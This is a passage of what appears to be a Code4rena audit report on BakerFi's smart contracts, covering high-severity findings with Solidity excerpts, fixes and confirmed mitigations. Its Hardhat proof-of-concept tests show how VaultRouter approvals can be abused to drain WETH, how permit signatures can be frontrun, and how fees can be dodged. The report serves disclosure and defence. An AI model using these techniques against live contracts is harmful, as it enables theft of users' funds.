Overview

About C4

Code4rena (C4) is an open organization consisting of security researchers, auditors, developers, and individuals with domain expertise in smart contracts.

A C4 audit is an event in which community participants, referred to as Wardens, review, audit, or analyze smart contract logic in exchange for a bounty provided by sponsoring projects.

During the audit outlined in this document, C4 conducted an analysis of the BakerFi smart contract system written in Solidity. The audit took place from December 11, 2024 to December 31, 2024.

This audit was judged by Dravee.

Final report assembled by Code4rena.

Following the C4 audit, 2 wardens (0xlemon and shaflow2) reviewed the mitigations for all identified issues; the mitigation review report is appended below the audit report.

Summary

The C4 analysis yielded an aggregated total of 23 unique vulnerabilities. Of these vulnerabilities, 7 received a risk rating in the category of HIGH severity and 16 received a risk rating in the category of MEDIUM severity.

Additionally, C4 analysis included 1 report detailing issues with a risk rating of LOW severity or non-critical.

All of the issues presented here are linked back to their original finding.

Scope

The code under review can be found within the C4 BakerFi repository, and is composed of 23 smart contracts written in the Solidity programming language and includes 1,910 lines of Solidity code.

Severity Criteria

C4 assesses the severity of disclosed vulnerabilities based on three primary risk categories: high, medium, and low/non-critical.

High-level considerations for vulnerabilities span the following key areas when conducting assessments:

• Malicious Input Handling
• Escalation of privileges
• Arithmetic
• Gas use

For more information regarding the severity criteria referenced throughout the submission review process, please refer to the documentation provided on the C4 website, specifically our section on Severity Categorization.

High Risk Findings (7)

[H-01] Users may encounter losses on assets deposited through StrategySupplyERC4626

Submitted by 0xpiken, also found by 0xlemon, klau5, klau5, MrPotatoMagic, and shaflow2

https://github.com/code-423n4/2024-12-bakerfi/blob/main/contracts/core/strategies/StrategySupplyERC4626.sol#L44

https://github.com/code-423n4/2024-12-bakerfi/blob/main/contracts/core/strategies/StrategySupplyERC4626.sol#L51

https://github.com/code-423n4/2024-12-bakerfi/blob/main/contracts/core/strategies/StrategySupplyERC4626.sol#L58

Finding description and impact

The _deploy(), _undeploy(), and _getBalance() functions of StrategySupplyERC4626 currently return the amount of shares instead of the amount of the underlying asset. This mistake leads to incorrect calculations of user assets within any BakerFi Vault that utilizes StrategySupplyERC4626.

Proof of Concept

When a user deposits a certain amount of asset (deployedAmount) into a BakerFi vault, it is deployed into the vault’s underlying strategies. In return, the user receives a corresponding number of shares:

    function _depositInternal(uint256 assets, address receiver) private returns (uint256 shares) {
        if (receiver == address(0)) revert InvalidReceiver();
        // Fetch price options from settings
        // Get the total assets and total supply
        Rebase memory total = Rebase(totalAssets(), totalSupply());

        // Check if the Rebase is uninitialized or both base and elastic are positive
        if (!((total.elastic == 0 && total.base == 0) || (total.base > 0 && total.elastic > 0))) {
            revert InvalidAssetsState();
        }

        // Check if deposit exceeds the maximum allowed per wallet
        uint256 maxDepositLocal = getMaxDeposit();
        if (maxDepositLocal > 0) {
            uint256 depositInAssets = (balanceOf(msg.sender) * _ONE) / tokenPerAsset();
            uint256 newBalance = assets + depositInAssets;
            if (newBalance > maxDepositLocal) revert MaxDepositReached();
        }

@>      uint256 deployedAmount = _deploy(assets);

        // Calculate shares to mint
@>      shares = total.toBase(deployedAmount, false);

        // Prevent inflation attack for the first deposit
        if (total.base == 0 && shares < _MINIMUM_SHARE_BALANCE) {
            revert InvalidShareBalance();
        }

        // Mint shares to the receiver
        _mint(receiver, shares);

        // Emit deposit event
        emit Deposit(msg.sender, receiver, assets, shares);
    }

To withdraw their deployed assets from a BakerFi vault, users must burn a corresponding number of shares to receive a certain amount of assets:

    function _redeemInternal(
        uint256 shares,
        address receiver,
        address holder,
        bool shouldRedeemETH
    ) private returns (uint256 retAmount) {
        if (shares == 0) revert InvalidAmount();
        if (receiver == address(0)) revert InvalidReceiver();
        if (balanceOf(holder) < shares) revert NotEnoughBalanceToWithdraw();

        // Transfer shares to the contract if sender is not the holder
        if (msg.sender != holder) {
            if (allowance(holder, msg.sender) < shares) revert NoAllowance();
            transferFrom(holder, msg.sender, shares);
        }

        // Calculate the amount to withdraw based on shares
        uint256 withdrawAmount = (shares * totalAssets()) / totalSupply();
        if (withdrawAmount == 0) revert NoAssetsToWithdraw();

@>      uint256 amount = _undeploy(withdrawAmount);
        uint256 fee = 0;
        uint256 remainingShares = totalSupply() - shares;

        // Ensure a minimum number of shares are maintained to prevent ratio distortion
        if (remainingShares < _MINIMUM_SHARE_BALANCE && remainingShares != 0) {
            revert InvalidShareBalance();
        }

@>      _burn(msg.sender, shares);

        // Calculate and handle withdrawal fees
        if (getWithdrawalFee() != 0 && getFeeReceiver() != address(0)) {
            fee = amount.mulDivUp(getWithdrawalFee(), PERCENTAGE_PRECISION);

            if (shouldRedeemETH && _asset() == wETHA()) {
                unwrapETH(amount);
                payable(receiver).sendValue(amount - fee);
                payable(getFeeReceiver()).sendValue(fee);
            } else {
                IERC20Upgradeable(_asset()).transfer(receiver, amount - fee);
                IERC20Upgradeable(_asset()).transfer(getFeeReceiver(), fee);
            }
        } else {
            if (shouldRedeemETH) {
                unwrapETH(amount);
                payable(receiver).sendValue(amount);
            } else {
                IERC20Upgradeable(_asset()).transfer(receiver, amount);
            }
        }

        emit Withdraw(msg.sender, receiver, holder, amount - fee, shares);
        retAmount = amount - fee;
    }

As we can see, the return values of _deploy() and _undeploy() should represent the amount of asset. In addition, _totalAssets() should also return the amount of asset. The implementation of the above functions within the Vault contract is as follows:

    function _deploy(uint256 assets) internal virtual override returns (uint256 deployedAmount) {
        // Approve the strategy to spend assets
        IERC20Upgradeable(_strategyAsset).safeApprove(address(_strategy), assets);
        // Deploy assets via the strategy
        deployedAmount = _strategy.deploy(assets); // Calls the deploy function of the strategy
    }

    function _undeploy(uint256 assets) internal virtual override returns (uint256 retAmount) {
        retAmount = _strategy.undeploy(assets); // Calls the undeploy function of the strategy
    }

    function _totalAssets() internal view virtual override returns (uint256 amount) {
        amount = _strategy.totalAssets(); // Calls the totalAssets function of the strategy
    }

It is obvious that the return value should represent the amount of assets when _strategy.deploy(), _strategy.undeploy() or _strategy.totalAssets() is called.

However, the functions in StrategySupplyERC4626 mistakenly return the number of shares other than the amount of underlying asset:

    /**
     * @inheritdoc StrategySupplyBase
     */
    function _deploy(uint256 amount) internal override returns (uint256) {
        return _vault.deposit(amount, address(this));
    }

    /**
     * @inheritdoc StrategySupplyBase
     */
    function _undeploy(uint256 amount) internal override returns (uint256) {
        return _vault.withdraw(amount, address(this), address(this));
    }

    /**
     * @inheritdoc StrategySupplyBase
     */
    function _getBalance() internal view override returns (uint256) {
        return _vault.balanceOf(address(this));
    }

This issue could lead to a scenario where a portion of user assets are permanently locked within the BakerFi vault. Create ERC4626Mock contract with below codes:

// SPDX-License-Identifier: MIT
pragma solidity ^0.8.24;

import {ERC4626} from "@openzeppelin/contracts/token/ERC20/extensions/ERC4626.sol";
import {IERC20} from "@openzeppelin/contracts/token/ERC20/IERC20.sol";
import {ERC20} from "@openzeppelin/contracts/token/ERC20/ERC20.sol";

contract ERC4626Mock is ERC4626 {
    constructor(IERC20 asset_) ERC4626(asset_) ERC20("Mock Vault", "MV") {
    }
}

Create StrategySupplyERC4626.ts with below codes and run npm run test:

import { describeif } from '../../common';

import '@nomicfoundation/hardhat-ethers';
import { loadFixture } from '@nomicfoundation/hardhat-network-helpers';
import { expect } from 'chai';
import { ethers, network } from 'hardhat';
import {
  deployVaultRegistry,
  deployStEth,
  deployAaveV3,
  deployWETH,
  deployVault
} from '../../../scripts/common';
describeif(network.name === 'hardhat')('Strategy Supply ERC4626', function () {
  // Fixture to deploy contracts before each test
  async function deployStrategySupplyERC4626() {
    const [owner, otherAccount] = await ethers.getSigners();

    const BakerFiProxyAdmin = await ethers.getContractFactory('BakerFiProxyAdmin');
    const proxyAdmin = await BakerFiProxyAdmin.deploy(owner.address);
    await proxyAdmin.waitForDeployment();

    const MAX_SUPPLY = ethers.parseUnits('1000000000');
    const WETH = await ethers.getContractFactory('WETH');
    const weth = await WETH.deploy();
    await weth.waitForDeployment();
    // Deposit ETH
    await weth.deposit?.call('', { value: ethers.parseUnits('100', 18) });
    const ERC4626Vault = await ethers.getContractFactory("ERC4626Mock");
    const erc4626Vault = await ERC4626Vault.deploy(weth.getAddress());
    await erc4626Vault.waitForDeployment();

    // Deploy StrategySupply contract
    const StrategySupply = await ethers.getContractFactory('StrategySupplyERC4626');
    const strategy = await StrategySupply.deploy(
      owner.address,
      await weth.getAddress(),
      await erc4626Vault.getAddress(),
    );
    await strategy.waitForDeployment();

    const { proxy: vaultProxy } = await deployVault(
        owner.address,
        'Bread ETH',
        'brETH',
        await strategy.getAddress(),
        await weth.getAddress(),
        proxyAdmin,
    );
    await strategy.transferOwnership(await vaultProxy.getAddress());
    const vault = await ethers.getContractAt('Vault', await vaultProxy.getAddress());
    return { weth, strategy, owner, otherAccount, erc4626Vault, vault};
  }

  it.only('Deposit 10 ether but 5 ether can be withdrawn', async () => {
    const { weth, strategy, owner, otherAccount, erc4626Vault, vault } = await loadFixture(deployStrategySupplyERC4626);
    const tenEther  = ethers.parseEther('10');
    const fiveEther = ethers.parseEther('5');
    //@audit-info owner deposits 10e18 WETH into erc4626Vault
    await weth.approve(erc4626Vault.getAddress(), tenEther);
    await erc4626Vault.deposit(tenEther, owner.address);
    //@audit-info 10e18 shares are minted to owner
    expect(await erc4626Vault.balanceOf(owner.address)).to.equal(tenEther);
    //@audit-info transfer 10e18 WETH to erc4626Vault  
    await weth.transfer(erc4626Vault.getAddress(), tenEther);
    //@audit-info erc4646Vault has 20e18 WETH with total supply of 10e18 shares
    expect(await weth.balanceOf(erc4626Vault.getAddress())).to.equal(ethers.parseEther('20'));
    expect(await erc4626Vault.totalSupply()).to.equal(ethers.parseEther('10'));
    //@audit-info owner deposits 10e18 WETH into vault
    await vault.enableAccount(owner.address, true);
    await weth.approve(vault.getAddress(), tenEther);
    await vault.deposit(tenEther, owner.address);
    //@audit-info however, only 5e18 WETH can be withdrawn, the rest 5e18 WETH will be locked forever
    expect(await vault.maxWithdraw(owner.address)).to.equal(fiveEther);
  });
});

As we can see that only 5e18 WETH can be withdrawn within 10e18 WETH deployed. The rest 5e18 WETH are permanently locked within the BakerFi vault. The amount of locked asset can be calculated as below:

Note: please see scenario in warden’s original submission.

Recommended mitigation steps

Update StrategySupplyERC4626 to return correct value:

    function _deploy(uint256 amount) internal override returns (uint256) {
-       return _vault.deposit(amount, address(this));
+      _vault.deposit(amount, address(this));
+      return amount;
    }

    /**
     * @inheritdoc StrategySupplyBase
     */
    function _undeploy(uint256 amount) internal override returns (uint256) {
-       return _vault.withdraw(amount, address(this), address(this));
+       _vault.withdraw(amount, address(this), address(this));
+       return amount;
    }

    /**
     * @inheritdoc StrategySupplyBase
     */
    function _getBalance() internal view override returns (uint256) {
-       return _vault.balanceOf(address(this));
+       return _vault.convertToAssets(_vault.balanceOf(address(this)));
    }

chefkenji (BakerFi) confirmed

BakerFi mitigated:

PR-17

Status: Mitigation confirmed. Full details in reports from shaflow2 and 0xlemon.

[H-02] Anyone can call StrategySupplyBase.harvest, allowing users to avoid paying performance fees on interest

Submitted by klau5, also found by 0xlemon, 0xpiken, and shaflow2

https://github.com/code-423n4/2024-12-bakerfi/blob/0daf8a0547b6245faed5b6cd3f5daf44d2ea7c9a/contracts/core/strategies/StrategySupplyBase.sol#L90

Finding description and impact

Since StrategySupplyBase.harvest can be called by anyone, users can front-run the rebalance call or regularly call harvest to avoid paying protocol fees on interest. This allows users to receive more interest than they should.

Proof of Concept

When there are profits in the Strategy, the administrator calls rebalance to settle protocol fees(performance fee). This calls Strategy.harvest to update the total deployed asset amount including interest and returns the amount of newly generated interest. Then n% of the interest is taken as protocol fees.

function _harvestAndMintFees() internal {
    uint256 currentPosition = _totalAssets();
    if (currentPosition == 0) {
        return;
    }
@>  int256 balanceChange = _harvest();
    if (balanceChange > 0) {
        address feeReceiver = getFeeReceiver();
        uint256 performanceFee = getPerformanceFee();
        if (feeReceiver != address(this) && feeReceiver != address(0) && performanceFee > 0) {
            uint256 feeInEth = uint256(balanceChange) * performanceFee;
            uint256 sharesToMint = feeInEth.mulDivUp(totalSupply(), currentPosition * PERCENTAGE_PRECISION);
@>          _mint(feeReceiver, sharesToMint);
        }
    }
}

function _harvest() internal virtual override returns (int256 balanceChange) {
@>  return _strategy.harvest(); // Calls the harvest function of the strategy
}

However, StrategySupplyBase.harvest can be called by anyone. By front-running the rebalance request or regularly calling this function, users can avoid paying protocol fees on interest. This allows users to receive more interest than they should.

@>  function harvest() external returns (int256 balanceChange) {
        // Get Balance
        uint256 newBalance = getBalance();

@>      balanceChange = int256(newBalance) - int256(_deployedAmount);

        if (balanceChange > 0) {
            emit StrategyProfit(uint256(balanceChange));
        } else if (balanceChange < 0) {
            emit StrategyLoss(uint256(-balanceChange));
        }
        if (balanceChange != 0) {
            emit StrategyAmountUpdate(newBalance);
        }
@>      _deployedAmount = newBalance;
    }

This is PoC. It demonstrates that anyone can call StrategySupplyBase.harvest. This can be run by adding it to the StrategySupplyAAVEv3.ts file.

it('PoC - anyone can call harvest', async () => {
  const { owner, strategySupply, stETH, aave3Pool, otherAccount } = await loadFixture(
    deployStrategySupplyFixture,
  );
  const deployAmount = ethers.parseEther('10');
  await stETH.approve(await strategySupply.getAddress(), deployAmount);
  await strategySupply.deploy(deployAmount);

  //artificial profit
  await aave3Pool.mintAtokensArbitrarily(await strategySupply.getAddress(), deployAmount);

  await expect(strategySupply.connect(otherAccount).harvest())
    .to.emit(strategySupply, 'StrategyProfit')
    .to.emit(strategySupply, 'StrategyAmountUpdate');
});

Recommended Mitigation Steps

Add the onlyOwner modifier to StrategySupplyBase.harvest to restrict access.

chefkenji (BakerFi) confirmed

BakerFi mitigated:

PR-15

Status: Mitigation confirmed. Full details in reports from 0xlemon and shaflow2.

[H-03] _deployedAmount not updated on StrategySupplyBase.undeploy, preventing performance fees from being collected

Submitted by klau5, also found by 0xlemon, 0xpiken, MrPotatoMagic, pfapostol, and shaflow2

https://github.com/code-423n4/2024-12-bakerfi/blob/0daf8a0547b6245faed5b6cd3f5daf44d2ea7c9a/contracts/core/strategies/StrategySupplyBase.sol#L110

Finding description and impact

StrategySupplyBase.undeploy does not update _deployedAmount. As a result, if a withdrawal occurs, even if interest is generated, the protocol cannot collect performance fees through rebalance.

Proof of Concept

StrategySupplyBase.undeploy does not update _deployedAmount. It should subtract the amount of withdrawn asset tokens.

function undeploy(uint256 amount) external nonReentrant onlyOwner returns (uint256 undeployedAmount) {
    if (amount == 0) revert ZeroAmount();

    // Get Balance
    uint256 balance = getBalance();
    if (amount > balance) revert InsufficientBalance();

    // Transfer assets back to caller
    uint256 withdrawalValue = _undeploy(amount);

    // Check withdrawal value matches the initial amount
    // Transfer assets to user
    ERC20(_asset).safeTransfer(msg.sender, withdrawalValue);

    balance -= amount;
    emit StrategyUndeploy(msg.sender, withdrawalValue);
    emit StrategyAmountUpdate(balance);

    return amount;
}

As a result, if a withdrawal occurs, even if interest is generated, the protocol cannot collect performance fees through rebalance. This is because if the withdrawal amount is greater than the interest earned, the Strategy is considered to have a loss and no fee is taken.

• _deployedAmount: A
• Interest generated, getBalance returns A + profit

• Request to withdraw amount B

  • _deployedAmount is still A
  • getBalance returns A + profit - B

• During rebalance, balanceChange is (A + profit - B) - A

  • That is, if profit <= B, the Strategy is considered to have a loss.

function harvest() external returns (int256 balanceChange) {
    // Get Balance
    uint256 newBalance = getBalance();

@>  balanceChange = int256(newBalance) - int256(_deployedAmount);

    if (balanceChange > 0) {
        emit StrategyProfit(uint256(balanceChange));
    } else if (balanceChange < 0) {
        emit StrategyLoss(uint256(-balanceChange));
    }
    if (balanceChange != 0) {
        emit StrategyAmountUpdate(newBalance);
    }
    _deployedAmount = newBalance;
}

This is PoC. This shows that when harvested after withdrawal, the Strategy is considered to have a loss. This can be executed by adding it to the StrategySupplyAAVEv3.ts file.

it('PoC - harvest returns loss after undeloy', async () => {
  const { owner, strategySupply, stETH, aave3Pool, otherAccount } = await loadFixture(
    deployStrategySupplyFixture,
  );
  const deployAmount = ethers.parseEther('10');
  await stETH.approve(await strategySupply.getAddress(), deployAmount);
  await strategySupply.deploy(deployAmount);

  //artificial profit
  const profit = ethers.parseEther('1');
  await aave3Pool.mintAtokensArbitrarily(await strategySupply.getAddress(), profit);

  // Undeploy
  const undeployAmount = ethers.parseEther('2');
  await strategySupply.undeploy(undeployAmount);

  await expect(strategySupply.harvest())
    .to.emit(strategySupply, 'StrategyLoss')
    .to.emit(strategySupply, 'StrategyAmountUpdate');
});

Recommended Mitigation Steps

Update _deployedAmount by the withdrawal amount in StrategySupplyBase.undeploy.

chefkenji (BakerFi) confirmed

BakerFi mitigated:

PR-12

Status: Mitigation confirmed. Full details in reports from shaflow2 and 0xlemon.

[H-04] There are multiple issues with the decimal conversions between the vault and the strategy

Submitted by shaflow2, also found by 0xlemon, 0xpiken, ABAIKUNANBAEV, klau5, and shaflow2

https://github.com/code-423n4/2024-12-bakerfi/blob/0daf8a0547b6245faed5b6cd3f5daf44d2ea7c9a/contracts/core/strategies/StrategyLeverage.sol#L234

https://github.com/code-423n4/2024-12-bakerfi/blob/0daf8a0547b6245faed5b6cd3f5daf44d2ea7c9a/contracts/core/strategies/StrategyLeverage.sol#L347

https://github.com/code-423n4/2024-12-bakerfi/blob/0daf8a0547b6245faed5b6cd3f5daf44d2ea7c9a/contracts/core/strategies/StrategyLeverage.sol#L359

https://github.com/code-423n4/2024-12-bakerfi/blob/0daf8a0547b6245faed5b6cd3f5daf44d2ea7c9a/contracts/core/strategies/StrategyLeverage.sol#L673

https://github.com/code-423n4/2024-12-bakerfi/blob/0daf8a0547b6245faed5b6cd3f5daf44d2ea7c9a/contracts/core/strategies/StrategyLeverage.sol#L640

https://github.com/code-423n4/2024-12-bakerfi/blob/0daf8a0547b6245faed5b6cd3f5daf44d2ea7c9a/contracts/core/strategies/StrategySupplyBase.sol#L110

https://github.com/code-423n4/2024-12-bakerfi/blob/0daf8a0547b6245faed5b6cd3f5daf44d2ea7c9a/contracts/core/strategies/StrategySupplyBase.sol#L69

Finding description and impact

The StrategyLeverage contract has multiple incorrect decimal handling issues, causing the system to not support tokens with decimals other than 18.

Proof of Concept

First, the vault contract’s share decimal is set to 18, as recommended by the ERC4626 standard. Ideally, the vault’s share decimal should reflect the underlying token’s decimal. Otherwise, conversions through convertToShares and convertToAssets would be required.

In StrategyLeverage, we can see that all calls to totalAssets() are converted to 18 decimals for share calculations.

Under the above premise, the contract has multiple decimal handling errors, making it incompatible with tokens that use decimals other than 18:

1. The _deploy function should return the amount in the system’s 18-decimal format, rather than the token’s native decimal format.

   function _depositInternal(uint256 assets, address receiver) private returns (uint256 shares) {
       ...
       uint256 deployedAmount = _deploy(assets);
   
       // Calculate shares to mint
       shares = total.toBase(deployedAmount, false);
   
       // Prevent inflation attack for the first deposit
       if (total.base == 0 && shares < _MINIMUM_SHARE_BALANCE) {
           revert InvalidShareBalance();
       }
   
       // Mint shares to the receiver
       _mint(receiver, shares);
   
       // Emit deposit event
       emit Deposit(msg.sender, receiver, assets, shares);
   }

   The _deploy function is used to calculate shares, so it should return the amount in the system’s 18-decimal format. However, the strategy always returns the amount in the token’s native decimal format. To address this, the _pendingAmount in the _supplyBorrow function should be converted to 18-decimal format.

2. In the _redeemInternal process, the withdrawAmount passed to _undeploy is in 18-decimal format (since totalAssets returns 18-decimal values).

   function _redeemInternal(
       uint256 shares,
       address receiver,
       address holder,
       bool shouldRedeemETH
   ) private returns (uint256 retAmount) {
       if (shares == 0) revert InvalidAmount();
       if (receiver == address(0)) revert InvalidReceiver();
       if (balanceOf(holder) < shares) revert NotEnoughBalanceToWithdraw();
   
       // Transfer shares to the contract if sender is not the holder
       if (msg.sender != holder) {
           if (allowance(holder, msg.sender) < shares) revert NoAllowance();
           transferFrom(holder, msg.sender, shares); 
       }
   
       // Calculate the amount to withdraw based on shares
       uint256 withdrawAmount = (shares * totalAssets()) / totalSupply();
       if (withdrawAmount == 0) revert NoAssetsToWithdraw();

@> uint256 amount = _undeploy(withdrawAmount); …

Therefore, in the `undeploy` process, `deltaCollateralAmount` is in 18-decimal format. It is directly packed into `data` and passed to `_repayAndWithdraw` during the callback.  

As a result, the `_withdraw` functions in `StrategyLeverageAAVEv3` and `StrategyLeverageMorphoBlue` should convert the input `amount` from 18-decimal format to the token's actual decimal format. Otherwise, the wrong amount will be withdrawn.

3. In the `_undeploy` process, `deltaDebt` and fees should be converted from 18-decimal format to the `debtToken`'s actual decimal format.

4. The `_convertToCollateral` and `_convertToDebt` functions expect the `amount` parameter to be in 18-decimal format, as required for calculations by `_toDebt` and `_toCollateral` using the oracle. However, before proceeding with the swap, the amount needs to be converted to the respective token's actual decimal format.
Additionally, `_convertToCollateral` receives the token's original decimal `amount` during the deploy process, leading to incorrect calculations by the oracle.
```solidity
    /**
     * @dev Internal function to convert the specified amount from Debt Token to the underlying collateral asset cbETH, wstETH, rETH.
     *
     * This function is virtual and intended to be overridden in derived contracts for customized implementation.
     *
     * @param amount The amount to convert from debtToken.
     * @return uint256 The converted amount in the underlying collateral.
     */
    function _convertToCollateral(uint256 amount) internal virtual returns (uint256) {
        uint256 amountOutMinimum = 0;

        if (getMaxSlippage() > 0) {
            uint256 wsthETHAmount = _toCollateral(
                IOracle.PriceOptions({maxAge: getPriceMaxAge(), maxConf: getPriceMaxConf()}),
                amount,
                false
            );
            amountOutMinimum = (wsthETHAmount * (PERCENTAGE_PRECISION - getMaxSlippage())) / PERCENTAGE_PRECISION;
        }
        // 1. Swap Debt Token -> Collateral Token
        (, uint256 amountOut) = swap(
            ISwapHandler.SwapParams(
                _debtToken, // Asset In
                _collateralToken, // Asset Out
                ISwapHandler.SwapType.EXACT_INPUT, // Swap Mode
                amount, // Amount In
                amountOutMinimum, // Amount Out
                bytes("") // User Payload
            )
        );
        return amountOut;
    }

    /**
     * @dev Internal function to convert the specified amount to Debt Token from the underlying collateral.
     *
     * This function is virtual and intended to be overridden in derived contracts for customized implementation.
     *
     * @param amount The amount to convert to Debt Token.
     * @return uint256 The converted amount in Debt Token.
     */
    function _convertToDebt(uint256 amount) internal virtual returns (uint256) {
        uint256 amountOutMinimum = 0;
        if (getMaxSlippage() > 0) {
            uint256 ethAmount = _toDebt(
                IOracle.PriceOptions({maxAge: getPriceMaxAge(), maxConf: getPriceMaxConf()}),
                amount,
                false
            );
            amountOutMinimum = (ethAmount * (PERCENTAGE_PRECISION - getMaxSlippage())) / PERCENTAGE_PRECISION;
        }
        // 1.Swap Colalteral -> Debt Token
        (, uint256 amountOut) = swap(
            ISwapHandler.SwapParams(
                _collateralToken, // Asset In
                _debtToken, // Asset Out
                ISwapHandler.SwapType.EXACT_INPUT, // Swap Mode
                amount, // Amount In
                amountOutMinimum, // Amount Out
                bytes("") // User Payload
            )
        );
        return amountOut;
    }

5. The _convertToCollateral and _convertToDebt functions default to returning the amount in the token’s actual decimal format. However, certain parts of the code assume they return the amount in 18-decimal format, leading to potential miscalculations.
6. The _adjustDebt function should convert the flash loan amount from 18-decimal format to the token’s original decimal format.
7. The _payDebt function will receive an amount in 18-decimal format, but when performing the swap, the amount is not converted to the token’s actual decimal format. This can lead to incorrect calculations during the swap process.

Recommended mitigation steps

It is recommended to align the vault’s decimals with the underlying token’s decimals instead of using 18 decimals. This alignment can significantly reduce the complexity of decimal conversions throughout the system.

chefkenji (BakerFi) confirmed

BakerFi mitigated:

PR-24

Status: Mitigation confirmed. Full details in reports from 0xlemon and shaflow2.

[H-05] The implementation of pullTokensWithPermit poses a risk, allowing malicious actors to steal tokens

Submitted by shaflow2, also found by 0xlemon and MrPotatoMagic

https://github.com/code-423n4/2024-12-bakerfi/blob/3873b82ae8b321473f3afaf08727e97be0635be9/contracts/core/hooks/UsePermitTransfers.sol#L31

Finding description and impact

In batch operations interacting with the router, users are allowed to input tokens into the router using the permit method. This approach may be vulnerable to frontrunning attacks, allowing malicious actors to steal the user’s tokens.

Proof of Concept

    function pullTokensWithPermit(
        IERC20Permit token,
        uint256 amount,
        address owner,
        uint256 deadline,
        uint8 v,
        bytes32 r,
        bytes32 s
    ) internal virtual {
        // Permit the VaultRouter to spend tokens on behalf of the owner
        IERC20Permit(token).permit(owner, address(this), amount, deadline, v, r, s);

        // Transfer the tokens from the owner to this contract
        IERC20(address(token)).safeTransferFrom(owner, address(this), amount);
    }

Users can deposit tokens into the router via the pullTokensWithPermit function. However, the router contract does not validate the caller’s information, making it possible for a malicious actor to frontrun the user and exploit their permit signature to steal tokens.

Consider the following scenario:

1. The user interacts with the router contract:

   • Step 1: Calls pullTokensWithPermit to transfer 1000 tokens to the router.
   • Step 2: Deposits the tokens into a designated vault.

2. A malicious actor observes the user’s transaction in the mempool and constructs a malicious transaction to steal the user’s tokens:

   • Step 1: The attacker calls pullTokensWithPermit using the user’s permit signature, causing the user to transfer 1000 tokens to the router.
   • Step 2: The attacker immediately calls sweepTokens to transfer the tokens to their own account. When the user’s original transaction is executed:
3. The permit signature has already been used, causing the user’s transaction to fail. As a result, the user loses 1000 tokens.

Additionally, an attacker could frontrun the permit function without using the router and then call pushTokenFrom directly to steal tokens.

Recommended mitigation

The current router is not suitable for integrating permit to handle token input.

chefkenji (BakerFi) confirmed

BakerFi mitigated:

PR-23

Status: Mitigation confirmed. Full details in reports from 0xlemon and shaflow2.

[H-06] Malicious actors can exploit user-approved allowances on VaultRouter to drain their ERC20 tokens

Submitted by 0xpiken, also found by 0xlemon, MrPotatoMagic, and shaflow2

https://github.com/code-423n4/2024-12-bakerfi/blob/main/contracts/core/VaultRouter.sol#L186-L202

https://github.com/code-423n4/2024-12-bakerfi/blob/main/contracts/core/VaultRouter.sol#L234-L252

Finding description and impact

Once a user approves VaultRouter to spend their ERC20 tokens, anyone could call VaultRouter#execute() to drain the user’s ERC20 assets.

Proof of Concept

The VaultRouter#execute() function allows users to perform multiple commands within a single transaction. One such use case involves depositing ERC20 tokens into VaultRouter using the PULL_TOKEN command. Subsequently, these tokens can be further processed within the same transaction through other commands, such as V3_UNISWAP_SWAP for token swaps or ERC4626_VAULT_DEPOSIT for depositing into an ERC4626 vault. Before depositing ERC20 tokens into VaultRouter using the PULL_TOKEN command, the user must approve VaultRouter to spend their ERC20 token in advance. However, a malicious actor can exploit this approval to drain the user’s ERC20 token through VaultRouter with PULL_TOKEN_FROM or PUSH_TOKEN_FROM commands:

• A malicious actor can call PULL_TOKEN_FROM to transfer ERC20 token from the user into VaultRouter, then use PUSH_TOKEN command to transfer drained token from VaultRouter to specified address.
• A malicious actor can call PUSH_TOKEN_FROM command transfer ERC20 token from the user to any address directly.

The root cause is that either PULL_TOKEN_FROM or PUSH_TOKEN_FROM command allows anyone to transfer a user’s ERC20 token as long as VaultRouter is approved to spend their assets: https://github.com/code-423n4/2024-12-bakerfi/blob/main/contracts/core/hooks/UseTokenActions.sol

    function pullTokenFrom(IERC20 token, address from, uint256 amount) internal virtual {
        // Check if the token address is valid
        if (address(token) == address(0)) revert InvalidToken();

        if (token.allowance(from, address(this)) < amount) revert NotEnoughAllowance();
        // Use SafeERC20 to transfer tokens from the specified address to this contract
@>      IERC20(token).safeTransferFrom(from, address(this), amount);
    }

    function pushTokenFrom(IERC20 token, address from, address to, uint256 amount) internal virtual {
        // Check if the token address is valid
        if (address(token) == address(0)) revert InvalidToken();
        // Check if the recipient address is valid
        if (address(to) == address(0)) revert InvalidRecipient();

        if (token.allowance(from, address(this)) < amount) revert NotEnoughAllowance();
        // Use SafeERC20 to transfer tokens from the specified address to another specified address
@>      IERC20(token).safeTransferFrom(from, to, amount);
    }

Copy below codes to VaultRouter.ts and run npm run test:

  it.only('Drain all WETH from owner', async function () {
    const { vaultRouter, weth, owner, otherAccount } = await deployFunction();
    //@audit-info owner has 10000e18 WETH
    expect(await weth.balanceOf(owner.address)).to.equal(ethers.parseUnits('10000', 18));
    //@audit-info owner approves vaultRouter to spend their WETH
    await weth.approve(await vaultRouter.getAddress(), ethers.parseUnits('10000', 18));
    let iface = new ethers.Interface(VaultRouterABI);
    const commands = [
      [
        VAULT_ROUTER_COMMAND_ACTIONS.PUSH_TOKEN_FROM,
        '0x' +
          iface
            .encodeFunctionData('pushTokenFrom', [await weth.getAddress(), owner.address, otherAccount.address, ethers.parseUnits('10000', 18)])
            .slice(10),
      ],
    ];
    //@audit-info otherAccount drains owner's WETH
    await vaultRouter.connect(otherAccount).execute(commands);
    expect(await weth.balanceOf(owner.address)).to.equal(0);
    expect(await weth.balanceOf(otherAccount.address)).to.equal(ethers.parseUnits('10000', 18));
  });

As we can see, owner’s all WETH was drained.

Recommended mitigation steps

To protect users from potential exploitation, the PULL_TOKEN_FROM and PUSH_TOKEN_FROM commands should be executed only when msg.sender is from.

chefkenji (BakerFi) confirmed

BakerFi mitigated:

PR-20

Status: Mitigation confirmed. Full details in reports from 0xlemon and shaflow2.

[H-07] Malicious actors can exploit user-approved allowances on VaultRouter to drain their ERC4626 tokens

Submitted by 0xpiken, also found by MrPotatoMagic

https://github.com/code-423n4/2024-12-bakerfi/blob/main/contracts/core/VaultRouter.sol#L120

https://github.com/code-423n4/2024-12-bakerfi/blob/main/contracts/core/VaultRouter.sol#L122

Finding description and impact

Once a user approves VaultRouter to spend their ERC4626 shares, anyone could call VaultRouter#execute() to drain the user’s ERC4626 shares.

Proof of Concept

The VaultRouter#execute() function allows users to perform multiple commands within a single transaction. A user can redeem their ERC4626 shares for underlying assets through VaultRouter using the ERC4626_VAULT_REDEEM command. Subsequently, the redeemed underlying assets can be further processed within the same transaction through other commands, such as V3_UNISWAP_SWAP for token swaps or PUSH_TOKEN for token transferrings. Redeem ERC4626 shares for underlying assets:

    function _handleVaultRedeem(
        bytes calldata data,
        uint256[] memory callStack,
        uint32 inputMapping,
        uint32 outputMapping
    ) private returns (bytes memory) {
        IERC4626 vault;
        uint256 shares;
        address receiver;
        address owner;
        assembly {
